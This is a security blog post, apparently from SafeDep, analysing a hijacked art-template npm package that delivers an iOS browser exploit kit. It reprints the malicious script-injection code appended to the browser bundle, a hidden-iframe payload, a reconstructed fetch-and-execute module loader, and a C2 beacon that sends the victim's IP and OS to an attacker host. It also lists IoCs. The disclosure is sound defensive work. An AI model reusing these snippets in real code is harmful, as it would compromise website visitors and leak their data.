art-template npm Hijack Delivers iOS Browser Exploit Kit

SafeDep Team
15 min read

Table of Contents

TL;DR

The npm package art-template, a JavaScript template engine with ~26,000 weekly downloads, has been compromised through maintainer account takeover. Versions 4.13.3 through 4.13.6 contain unauthorized code appended to the browser bundle (template-web.js) that loads external JavaScript from third-party domains. The original project author confirmed the compromise on May 20, 2026.

What we verified:

  • Unauthorized code in template-web.js injects external <script> tags into any page using the browser bundle
  • The external domain (v3.jiathis[.]com) serves a multi-stage payload when the request includes a Referer header (as browser <script> tags do)
  • The payload injects Baidu Analytics tracking on all visitors and targets iPhone users with a hidden iframe chain leading to an obfuscated JavaScript payload
  • The final payload is the Coruna exploit kit (606KB across 14 remote modules), an iOS browser exploit framework exploiting CVE-2024-23222 (JSC type confusion, CVSS 8.8) among 23 vulnerabilities across iOS 13.0 through 17.2.1. It chains WebAssembly type confusion through JIT heap spray, ASLR bypass via dyld shared cache parsing, to ARM64 native shellcode (31KB, 80 functions, 26 syscalls). The final-stage implant (PLASMAGRID) targets cryptocurrency wallets
  • The exploit kit fingerprints the victim’s browser (WebRTC, MathML, touch, Safari), classifies devices into five categories, and serves device-specific exploit chains targeting arm64e
  • IP/OS telemetry syncs to a C2 at l1ewsu3yjkqeroy[.]xyz (Cloudflare-fronted) every 10 seconds
  • Three different npm accounts published these versions, none of them the original author (aui)
  • The original author’s GitHub account (aui) was renamed to goofychris in late November 2024

What we cannot verify:

  • Whether any end user was impacted
  • The exact mechanism of the npm account takeover

Indicators of Compromise (IoC):

  • [email protected] (SHA256: 273206e2973df6ba7474aa66693797c98dcf26b794da4c3e863ab8d8c694868d)
  • [email protected] (SHA256: 5b5fe5d92808a732d0d44246cd706295cc739ed7f4dcae19112df666bc5d4f7d)
  • [email protected] (SHA256: 101afde88ff8b5c02fd341eda55022a39203088c2ff11dcb73214911cf5afb77)
  • Stage-2 payload: v3.jiathis[.]com/code/jia.js / v3.jiathis[.]com/code/art.js (SHA256: d8e3973a0b3c5359d1f53a22491b56bdd31dee13a51c01c7126bc6694584512f)
  • Stage-4 loader: 49554fde7424c31c.js (SHA256: f31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c)
  • Exploit modules served from: utaq.cfww[.]shop/gooll/*.js (14 modules, 606KB total)
  • C2 infrastructure: utaq.cfww[.]shop (180.178.50.158, AS45753 Netsec Limited, Hong Kong)
  • C2 sync endpoint: l1ewsu3yjkqeroy[.]xyz/api/ip-sync/sync (Cloudflare-fronted: 172.67.141.14, 104.21.40.254)
  • Baidu Analytics tracker: hm.baidu[.]com/hm.js?7d86eb847ecfd3c972fa457a6abaa0da
  • External script domains: v3.jiathis[.]com, git.youzzjizz[.]com
  • npm publishers: v4v5qc (eb8org@gmail[.]com), npmpacketmaintainmember7 (npmpacketmaintainmember7@proton[.]me)
  • Last known clean version: 4.13.2 (published November 13, 2018 by aui)

Analysis

Package Overview and Account History

art-template is a JavaScript template engine popular in the Chinese developer community. The original author, tangbin (GitHub: aui, npm: aui), published the last legitimate version, 4.13.2, in November 2018.

Someone renamed the GitHub account aui to goofychris in late November 2024. GitHub’s API shows the goofychris user “created” on November 27, 2024, but the repository goofychris/art-template retains its original creation date of June 3, 2012. This confirms an account rename, not a new fork. The old aui URLs redirect.

// GitHub API: /users/goofychris
{ "login": "goofychris", "id": 189879714, "created_at": "2024-11-27T15:06:07Z" }
// GitHub API: /repos/goofychris/art-template
{ "full_name": "goofychris/art-template", "fork": false, "created_at": "2012-06-03T03:37:57Z" }

Two README commits followed on December 7, 2024, authored by goofychris (not the original 糖饼 display name), updating URLs from aui to goofychris. We do not know if the original author renamed the account themselves or if someone compromised it. Either way, the rename preceded the npm compromise by three months.

On npm, the picture is different. The original aui account is no longer a maintainer of art-template or any of its companion packages (express-art-template, art-template-loader, koa-art-template). Someone replaced it with daughtrymom ([email protected]) across all four packages. The art-template package also lists npmpacketmaintainmember7 ([email protected]).

// npm registry: current maintainers
{
"maintainers": [
{ "name": "daughtrymom", "email": "[email protected]" },
{ "name": "npmpacketmaintainmember7", "email": "[email protected]" }
]
}

Neither daughtrymom nor npmpacketmaintainmember7 has any history with the art-template project before 2025.

Publisher Trail

The npm _npmUser field records who actually ran npm publish for each version. Three different accounts published the four unauthorized versions:

VersionDatePublisherEmail
4.13.2Nov 13, 2018aui[email protected]
4.13.3Mar 12, 2025v4v5qc[email protected]
4.13.4Mar 14, 2025v4v5qc[email protected]
4.13.5May 19, 2026npmpacketmaintainmember7[email protected]
4.13.6May 20, 2026npmpacketmaintainmember7[email protected]

The v4v5qc account is no longer a maintainer and has no other packages on npm. It published the March 2025 versions using Node 18.19.0 and npm 9.2.0. The npmpacketmaintainmember7 account published the May 2026 versions using Node 24.15.0 and npm 11.12.1. Both are throwaway accounts.

The two-account rotation could mean one attacker cycling through disposable accounts, or multiple actors with access to the same compromised package.

Timeline of Unauthorized Versions

VersionDatePayload
4.13.3March 12, 2025Obfuscated String.fromCharCode injection, stripped package (6 files)
4.13.4March 14, 2025No injection detected, full package restored
4.13.5May 19, 2026Plaintext script injection: v3.jiathis[.]com/code/jia.js?uid=artemplate
4.13.6May 20, 2026Plaintext script injection: v3.jiathis[.]com/code/art.js

Fourteen months separate the two phases. v4v5qc handled the first; npmpacketmaintainmember7 handled the second.

Execution Trigger

The injected code targets only the browser bundle (lib/template-web.js). The Node.js entry point (index.js) loads lib/index.js, which does not import template-web.js. The browser bundle is a self-contained UMD module used when art-template is loaded via a <script> tag or bundled for client-side rendering.

The package.json has no install hooks (preinstall, postinstall). The scripts field is unchanged from 4.13.2. The injection affects browser-side consumers only, not server-side Node.js usage.

Differential Analysis

Comparing 4.13.5 against the last clean version (4.13.2):

package.json
"homepage": "http://aui.github.com/art-template/",
"version": "4.13.2",
"homepage": "http://goofychris.github.com/art-template/",
"version": "4.13.5",
...
"url": "git://github.com/aui/art-template.git"
"url": "git://github.com/goofychris/art-template.git"

File-level diff shows modifications only in:

  • lib/template-web.js: script injection appended
  • lib/compile/runtime.js: GitHub URL updated from aui to goofychris, minor code change
  • lib/compile/adapter/rule.native.js: one-line code change (comment escaping), trailing newline
  • package.json: version bump and URL changes
  • README.md: all aui GitHub URLs changed to goofychris

The non-template-web.js changes are cosmetic, reflecting the GitHub account rename.

Injected Code: Versions 4.13.5 and 4.13.6

Both versions append a loadScript function after the legitimate template-web.js bundle:

v4.13.5
// lib/template-web.js (appended after legitimate UMD bundle)
function loadScript(url) {
const script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.head.appendChild(script);
}
loadScript('https://v3.jiathis.com/code/jia.js?uid=artemplate');

Version 4.13.6 is identical except for the URL:

v4.13.6
// lib/template-web.js (appended after legitimate UMD bundle)
loadScript('https://v3.jiathis.com/code/art.js');

The code creates a <script> element and appends it to document.head, loading JavaScript from v3.jiathis[.]com. The uid=artemplate parameter in 4.13.5 ties the request to this specific compromised package.

JiaThis was a legitimate Chinese social sharing widget service founded in 2009 in Beijing. The original domain registration (through Alibaba Cloud) expired around April 2025. The domain is now registered through GoDaddy with Domains By Proxy privacy and routed through Cloudflare. The homepage shows a generic Cloudflare maintenance page with a placeholder footer (© 2026 YourService Infrastructure), not the original JiaThis service.

Payload Analysis

The external scripts on v3.jiathis[.]com use server-side filtering: a bare curl request returns a single whitespace byte, but adding a Referer header (as a browser <script> tag sends automatically) returns a 3,906-byte JavaScript payload. Both jia.js and art.js serve identical content.

Terminal window
# No Referer: empty response
$ curl -s "https://v3.jiathis.com/code/jia.js?uid=artemplate" | wc -c
1
# With Referer: full payload
$ curl -s -H "Referer: https://example.com/" \
"https://v3.jiathis.com/code/jia.js?uid=artemplate" | wc -c
3906

The art.js variant pads the response with ~3,500 bytes of blank lines before the code, pushing the payload off-screen in browser dev tools.

Stage 2: Tracking and iPhone targeting. The payload has two components:

// Stage 2: v3.jiathis.com/code/jia.js (with Referer header)
// Component 1: Baidu Analytics on ALL visitors
var _hmt = _hmt || [];
(function () {
var hm = document.createElement('script');
hm.src = 'https://hm.baidu.com/hm.js?7d86eb847ecfd3c972fa457a6abaa0da';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(hm, s);
})();
// Component 2: iPhone-only hidden iframe
(function () {
var _i = /iPhone/i.test(navigator.userAgent);
if (!_i) return;
var _u = atob('aHR0cHM6Ly91dGFxLmNmd3cuc2hvcC8=');
// Decodes to: https://utaq.cfww.shop/
var s = document.createElement('div');
s.style.display = 'none';
var r = s.attachShadow({ mode: 'closed' });
var f = document.createElement('iframe');
f.src = _u;
Object.assign(f.style, {
width: '0px',
height: '0px',
border: 'none',
position: 'fixed',
top: '-1000px',
left: '-1000px',
});
var m = function () {
r.appendChild(f);
document.documentElement.appendChild(s);
};
if (document.readyState === 'complete') {
m();
} else {
window.addEventListener('load', m);
}
})();

The first component loads Baidu Analytics (hm.baidu[.]com) with tracker ID 7d86eb847ecfd3c972fa457a6abaa0da on every visitor, regardless of device. This gives the attacker traffic analytics across all compromised sites.

The second component runs only on iPhones. It base64-decodes hxxps://utaq.cfww[.]shop/, creates a zero-pixel iframe, and hides it inside a closed Shadow DOM root. The closed shadow root prevents document.querySelector from finding the iframe, and the display: none parent div hides it from visual inspection.

Stage 3: Nested iframe chain. The iframe destination (utaq.cfww[.]shop, IP 180.178.50.158, AS45753 Netsec Limited, Hong Kong) serves a landing page that nests another hidden iframe:

<!-- https://utaq.cfww.shop/ -->
<iframe src="/gooll/gooll.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"> </iframe>

That page loads a 50KB obfuscated JavaScript file (49554fde7424c31c.js).

Stage 4: Modular malware loader. The 50KB script (49554fde7424c31c.js, SHA256: f31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c) is a malware framework with three components: a custom module system, a device fingerprinting engine, and a C2 sync loop.

Module system. The script registers a global object (obChTK) that acts as a module loader. It bundles two pre-loaded modules as base64-encoded code blocks in a dictionary keyed by SHA1 hashes:

  • 57620206d62079baad0e57e6d9ec93120c0f5247: a BigInt/byte-manipulation runtime library (8,309 bytes decoded)
  • 14669ca3b1519ba2a8f40be287f646d4d7593eb0: the device fingerprinting engine (12,475 bytes decoded)

The loader also has a remote fetch capability (ZKvD0e). For modules not bundled locally, it generates a URL by computing SHA256("cecd08aa6ff548c2" + moduleKey) (truncated to 40 chars), appends .js, and fetches it from the server. The downloaded code is executed via new Function(). This design means the final payloads exist only on the attacker’s server and cannot be extracted through static analysis.

// Deobfuscated module loader logic (reconstructed from obChTK)
function loadModule(key) {
if (key in cache) return cache[key];
if (key in MM) {
// pre-bundled module
cache[key] = new Function(atob(MM[key]))();
return cache[key];
}
}
async function fetchModule(key) {
const hash = SHA256('cecd08aa6ff548c2' + key).substring(0, 40);
const url = baseURL + hash + '.js'; // baseURL = server path
const code = await xhr('GET', url);
cache[key] = new Function(code)();
return cache[key];
}

Device fingerprinting. The second pre-bundled module runs browser fingerprinting before any payload is delivered:

  • navigator.platform check for MacIntel
  • TouchEvent support detection (distinguishes mobile from desktop)
  • WebRTC capability probing: mozRTCPeerConnection, RTCPeerConnection, webkitRTCPeerConnection, RTCIceGatherer
  • MathML rendering test: creates a hidden <math> element with mathcolor="blue" and checks computed style for rgb(0, 0, 255). Headless browsers and analysis sandboxes often fail this check
  • Safari-specific detection and MobileStore/1.0 User-Agent matching

Based on these signals, the engine classifies the victim into one of five device categories (stored as boolean flags: wF8NpI, LJ1EuL, CpDW_T, IqxL92, or a fallback). Each category triggers a different remote module fetch. The script references 14 unique SHA1 module hashes across these branches:

# Remote modules fetched per device type (via ZKvD0e)
Branch 1 (wF8NpI): 477db22c... → .ul(), then 29b874a9... → .ga()
Branch 2 (LJ1EuL): 477db22c... → .ul(), then 9db8a84a... → .ga()
Branch 3 (CpDW_T): 171a7da1... → .ga()
Branch 4 (IqxL92): 91b278dd... → .ga()
Branch 5 (fallback): b586c882... → .ga()

The framework also enforces a threshold gate: a counter value (xn) must exceed 130,000 before any payload executes. At 160,000+, an additional function (Hn) runs. This delay-based gating helps evade short-lived analysis sandboxes.

C2 sync loop. After fingerprinting, the payload enters a persistent reporting loop:

// Deobfuscated C2 sync (reconstructed from XOR-decoded string literals)
const channelCode = 'CHMK6IG08F42496C22';
const ip = await fetch('https://ipv4.icanhazip.com', { method: 'GET', headers: { Accept: 'text/plain' } });
const deviceVersion = detectOS(navigator.userAgent);
// Returns: "IOS 17.4", "Android 14.0", "Windows 10.0", "macOS 15.1", or "Linux"
await fetch('https://l1ewsu3yjkqeroy.xyz/api/ip-sync/sync', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ channelCode, ip, deviceVersion }),
});
// Repeats every 10 seconds via setInterval

The C2 domain l1ewsu3yjkqeroy[.]xyz resolves to Cloudflare IPs (172.67.141.14, 104.21.40.254), a different infrastructure provider than the iframe host utaq.cfww[.]shop (180.178.50.158, AS45753 Hong Kong). The Cloudflare fronting makes the C2 traffic blend with legitimate HTTPS requests.

Stage 5: iOS browser exploit kit (Coruna). The 14 remote modules are still live on utaq.cfww[.]shop/gooll/ at time of writing. We downloaded and analyzed all of them (606KB total). They form a complete exploit kit targeting Safari on iPhone and iPad (arm64e).

The architecture matches the Coruna exploit kit documented by Google Threat Intelligence Group in 2025. Coruna contains 5 full iOS exploit chains covering iOS 13.0 through 17.2.1, using 23 total exploits. The primary WebKit RCE for the most recent chain (codename “cassowary”, targeting iOS 16.6 through 17.2.1) is CVE-2024-23222, a type confusion in JavaScriptCore (CVSS 8.8, patched in iOS 17.3). Apple confirmed it was exploited in the wild. CISA added it to the Known Exploited Vulnerabilities catalog.

The fingerprints that identify this as Coruna:

  • Module URL derivation via SHA256(cookie + ID)[:40] with .min.js extension (our instance uses password cecd08aa6ff548c2)
  • XOR-encoded string literals using [].map(x => String.fromCharCode(x ^ key)).join("") with per-string keys
  • XOR-encoded integer constants ((1111970405 ^ 1111966034))
  • 5 device-specific exploit chains with browser fingerprinting
  • Hidden iframe injection as delivery mechanism
  • Binary payloads masquerading as .min.js files

Google TAG attributed Coruna’s use to three groups: a commercial surveillance vendor, Russian espionage group UNC6353, and Chinese financially-motivated threat actor UNC6691. The Baidu Analytics tracking, JiaThis domain, and Chinese-language infrastructure in this instance are consistent with UNC6691’s profile. Coruna’s final-stage implant (PLASMAGRID) targets cryptocurrency wallets including MetaMask, Trust Wallet, Phantom, and Exodus.

XOR-decoded string literals inside each module confirm the exploit stages:

Vulnerability trigger and JIT exploitation:

  • ea3da0cf (18KB): Instantiates malformed WebAssembly modules with externref type confusion. The Wasm bytecode is embedded as base64 (magic bytes \x00asm confirmed). This triggers a bug in JavaScriptCore
  • 57cb8c64 (24KB): Sprays the JIT heap with new Uint32Array(10000000), exploits NaN-boxing confusion ((() => {return -NaN})()), and corrupts array bounds to create out-of-bounds read/write. Contains a crafted function that manipulates array elements with specific double-precision floats to overflow bounds checks
  • e3b6ba10 (24KB): Builds addrof/fakeobj primitives using BigUint64Array for 64-bit address read/write

ASLR bypass:

  • d11d34e4 (42KB): Leaks JSC internal pointers using tagged values (0xfffe000000022334, 0xfffe000000055432, etc.) and SVG feConvolveMatrix filter elements for WebKit heap layout manipulation. References HeaderSeed, EncryptedBlocks, HeaderKey, and CPUType fields from a custom binary format
  • ba712ef6 (9KB): Parses the dyld shared cache (string literal dyld_v1 arm64e confirms the target architecture). Reads __TEXT, __LINKEDIT, and __AUTH_CONST segment offsets to resolve framework base addresses

Native code execution (5 device-specific chains):

  • 477db22c (28KB): Used in branches 1 and 2. References JavaScriptCore.framework, _jitCagePtr, __ZN3JSC10LinkBuffer8linkCodeERNS_14MacroAssemblerENS_20JITCompilationEffortE (JSC JIT compilation), _malloc, __platform_memmove, UIKitCore.framework. This module bypasses the JIT cage and injects executable code
  • 171a7da1 (37KB): Branch 3. References CoreFoundation.framework, CFRunLoopObserverCreateWithHandler, ActionKit.framework
  • 91b278dd (37KB): Branch 4. References IOKit.framework, mprotect, dlsym, libSystem.B.dylib
  • b586c882 (36KB): Branch 5 (fallback). References WebCore.framework, xsltFreeTransformContext, libReverseProxyDevice.dylib

Post-exploitation payload:

  • 7f809f32 (137KB) and c03c6f66 (164KB): Two payload variants. Both embed 31KB of compiled ARM64 machine code (confirmed by instruction decoding: 80 function prologues, 100 RET instructions). The shellcode makes 26 direct syscalls via SVC #0x80:
# Syscalls extracted from ARM64 shellcode (SVC #0x80 with x16 register)
ptrace (26) # PT_DENY_ATTACH: block debugger attachment
mmap (197) # Allocate memory pages
mprotect (74) # Mark pages executable
munmap (73) # Release memory
write (4) # Write to file descriptors
open (5) # Open files
close (6) # Close file descriptors
getpid (20) # Get process ID
sysctl (202) # Query system info / detect debugging
csops (169) # Code signing operations
# Mach kernel traps (negative syscall numbers)
host_self_trap (-28) # Get host port
mach_msg_trap (-26) # Mach IPC messaging

The shellcode also references Apple frameworks including SpringBoard.framework, PassKitCore.framework, HomeSharing.framework, and CoreML.framework. The ptrace(PT_DENY_ATTACH) call prevents runtime debugging, and the csops call interacts with code signing enforcement.

Two additional helper modules (29b874a9, 20KB and 9db8a84a, 15KB) contain WasmJitCageCallPrimitive and CFRunLoopObserverCreateWithHandler references, providing variant-specific exploit gadgets for the different branches.

Attack flow summary:

art-template browser bundle (template-web.js)
└─ loadScript(v3.jiathis.com/code/jia.js) [requires Referer header]
├─ Baidu Analytics tracker [ALL visitors]
└─ iPhone UA check
└─ Hidden iframe → utaq.cfww.shop [closed Shadow DOM]
└─ /gooll/gooll.html
└─ 49554fde7424c31c.js [50KB loader]
├─ Browser fingerprint [WebRTC, MathML, Touch]
├─ Device classification [5 categories]
├─ Threshold gate [counter > 130K]
├─ C2 sync every 10s [l1ewsu3yjkqeroy.xyz]
└─ Fetch exploit chain [14 modules, 606KB]
├─ Wasm type confusion [ea3da0cf]
├─ JIT heap spray [57cb8c64]
├─ addrof/fakeobj [e3b6ba10]
├─ dyld cache parse [ba712ef6]
├─ JIT cage bypass [477db22c]
└─ ARM64 shellcode [7f809f32/c03c6f66]
├─ ptrace(PT_DENY_ATTACH)
├─ mmap + mprotect (RWX)
├─ host_self_trap
└─ SpringBoard, PassKitCore...

Injected Code: Version 4.13.3

The earliest unauthorized version used String.fromCharCode to obfuscate the target URL:

v4.13.3
// lib/template-web.js (appended after legitimate UMD bundle)
function scriptMagician() {
var script = document.createElement('script');
script.src = String.fromCharCode.apply(
null,
[
104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 116, 46, 121, 111, 117, 122, 122, 106, 105, 122, 122, 46, 99, 111,
109, 47, 103, 105, 116, 46, 106, 115,
]
);
script.onload = function () {
if (typeof initBaiduShare === 'function') {
initBaiduShare();
}
};
script.onerror = function () {};
document.head.appendChild(script);
}
scriptMagician();

The char codes decode to hxxps://git.youzzjizz[.]com/git.js. The initBaiduShare callback mimics the API of Baidu Share, another Chinese social sharing service, making the injected code look like a legitimate integration on casual inspection. The use of String.fromCharCode hides the URL from simple string-based scanning.

The publisher botched this version. The package contained only 6 files, missing most of the lib/ directory. The index.js entry point requires lib/index.js and lib/extension.js, neither of which exists. Any Node.js consumer would hit a MODULE_NOT_FOUND error. Only the browser bundle (template-web.js) would function if loaded directly via a <script> tag.

The daughtrymom account is now the sole maintainer of three companion packages:

  • express-art-template (last published by aui in 2018, ~5K weekly downloads)
  • art-template-loader (last published by aui in 2017)
  • koa-art-template (last published by aui in 2017)

None have received new versions, but maintainer control has changed. The original aui npm account no longer appears on any of them. Anyone who controls the daughtrymom account can publish new versions of all three at any time.

Conclusion

Pin art-template to version 4.13.2 or earlier. If your application uses the browser bundle, audit whether any version from 4.13.3 onward reached production. Check CDN caches and build artifacts for references to v3.jiathis[.]com or git.youzzjizz[.]com.

This is not a tracking pixel or ad injection. The compromised package delivers the Coruna exploit kit, an iOS browser exploit framework with 5 chains and 23 exploits covering iOS 13.0 through 17.2.1, including CVE-2024-23222 (JavaScriptCore type confusion, CVSS 8.8). Any iPhone user visiting a page that loads the compromised browser bundle can be targeted with native code execution, no interaction required. The final-stage implant (PLASMAGRID) targets cryptocurrency wallets. The exploit infrastructure (14 remote modules on utaq.cfww[.]shop, C2 at l1ewsu3yjkqeroy[.]xyz) was still live at time of analysis.

The root cause: someone gained control of the original author’s GitHub and npm accounts, renamed the GitHub user, swapped out the npm maintainers, and used throwaway accounts to publish. The exact mechanism (credential compromise, social engineering, account recovery abuse) is not public.

References

  • malware
  • npm
  • supply-chain
  • ios-exploit
  • browser-exploit

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.